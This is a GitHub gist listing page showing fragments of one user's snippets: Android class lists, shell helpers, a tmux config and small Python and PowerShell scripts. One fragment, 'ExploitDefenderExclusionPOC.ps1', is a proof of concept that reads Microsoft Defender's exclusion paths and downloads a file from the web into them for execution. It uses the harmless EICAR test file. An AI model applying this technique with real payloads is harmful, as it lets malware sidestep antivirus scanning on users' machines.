Skip to content

Instantly share code, notes, and snippets.

@packmad
packmad / android_api27_classes.txt
Last active March 1, 2018 21:45
All Android API 27 classes
Landroid/accessibilityservice/AccessibilityButtonController;
Landroid/accessibilityservice/AccessibilityButtonController$AccessibilityButtonCallback;
Landroid/accessibilityservice/AccessibilityService;
Landroid/accessibilityservice/AccessibilityService$GestureResultCallback;
Landroid/accessibilityservice/AccessibilityServiceInfo;
Landroid/accessibilityservice/AccessibilityService$MagnificationController;
Landroid/accessibilityservice/AccessibilityService$MagnificationController$OnMagnificationChangedListener;
Landroid/accessibilityservice/AccessibilityService$SoftKeyboardController;
Landroid/accessibilityservice/AccessibilityService$SoftKeyboardController$OnShowModeChangedListener;
Landroid/accessibilityservice/FingerprintGestureController;
@packmad
packmad / elapsedtime_decorator.py
Created July 17, 2018 10:39
Decorator for function elapsed time
import time
import timeit
def time_usage(func):
def wrapper(*args, **kwargs):
start_time = timeit.default_timer()
retval = func(*args, **kwargs)
elapsed = timeit.default_timer() - start_time
print "Function '{}' elapsed time: {}sec".format(func.__name__, elapsed)
@packmad
packmad / tmux.conf
Last active September 4, 2018 09:08
MyTmuxConf
set -s escape-time 0
bind r source-file ~/.tmux.conf \; display "Reloaded!"
# Tmux uses a 'control key', set it to 'Ctrl-Space' that is easier to reach
unbind C-b
set -g prefix C-Space
bind C-Space send-prefix
# Tmux should be pretty, we need 256 color for that
@packmad
packmad / gitignorant.sh
Created December 3, 2018 14:02
Git command for the lazy and for the win
#!/bin/bash
git pull
if [ "$1" != "" ]; then
git commit -am "$1"
else
git commit -am "auto"
fi
@packmad
packmad / rebuildapk.sh
Created January 25, 2019 13:52
Rebuild Android apk
#!/bin/bash
if [ -d "$1" ]; then
apktool build $1
dist="$1/dist/"
cd $dist
outapk="out.apk"
if [ -f $outapk ]; then
rm $outapk
@packmad
packmad / ExploitDefenderExclusionPOC.ps1
Created March 24, 2020 11:23
ExploitDefenderExclusionPOC.ps1
$ExPath = (Get-MpPreference).ExclusionPath
if ($ExPath.Length -gt 0) {
foreach ($path in $ExPath) {
try {
$url = "https://secure.eicar.org/eicar.com"
$output = Join-Path -Path $path -ChildPath "eicar.com"
Invoke-WebRequest -Uri $url -OutFile $output
Write-Host "Dropped malicious file -> '$($output)'"
# Execute $output ...
return
@packmad
packmad / r2_get_soname.py
Created May 7, 2020 22:10
Get SONAME, if exists, of input ELF file
#!/usr/bin/env python3
import r2pipe
import sys
from os.path import isfile
from typing import Optional
def get_soname(file_path) -> Optional[str]:
r = r2pipe.open(file_path)
barch: int = r.cmdj('iAj')['bins'][0]['bits']
@packmad
packmad / get_nordvpn_upd_configs.sh
Created June 19, 2020 10:28
Get all openvpn (udp) config files of nordvpn
#!/bin/bash
wget https://nordvpn.com/ovpn/
cat index.html | grep udp1194.ovpn | cut -d \" -f2 > configlinklist.txt
rm index.html
mkdir nordvpnconfigs/
xargs wget -P nordvpnconfigs/ < configlinklist.txt
@packmad
packmad / get_steam_exe_hashes.ps1
Created September 15, 2020 15:27
PS script which writes all exe sha256 hashes of Steam games to a txt file
$scriptPath = Split-Path -parent $MyInvocation.MyCommand.Definition
$outputTxtFile = Join-Path -Path $scriptPath -ChildPath "hashes.txt"
Get-ChildItem -Path "C:\Program Files (x86)\Steam\steamapps\common" -recurse -include *.exe | foreach-object {
(Get-FileHash $_.FullName -Algorithm SHA256).Hash | Out-File -Encoding Ascii -append $outputTxtFile
}
Write-Host ("Results written in: {0}" -f $outputTxtFile)
@packmad
packmad / plothemall.sh
Created September 29, 2020 11:10
Plots all Graphviz layouts
#!/bin/bash
# /usr/sbin/libgvc6-config-update
# Use one of: circo dot fdp neato osage patchwork sfdp twopi
declare -a graphviz=("circo" "dot" "fdp" "neato" "osage" "patchwork" "sfdp" "twopi")
if [ -f "$1" ]; then
pardir="$(dirname "$1")"
bname="$(basename "$1")"
for i in "${graphviz[@]}"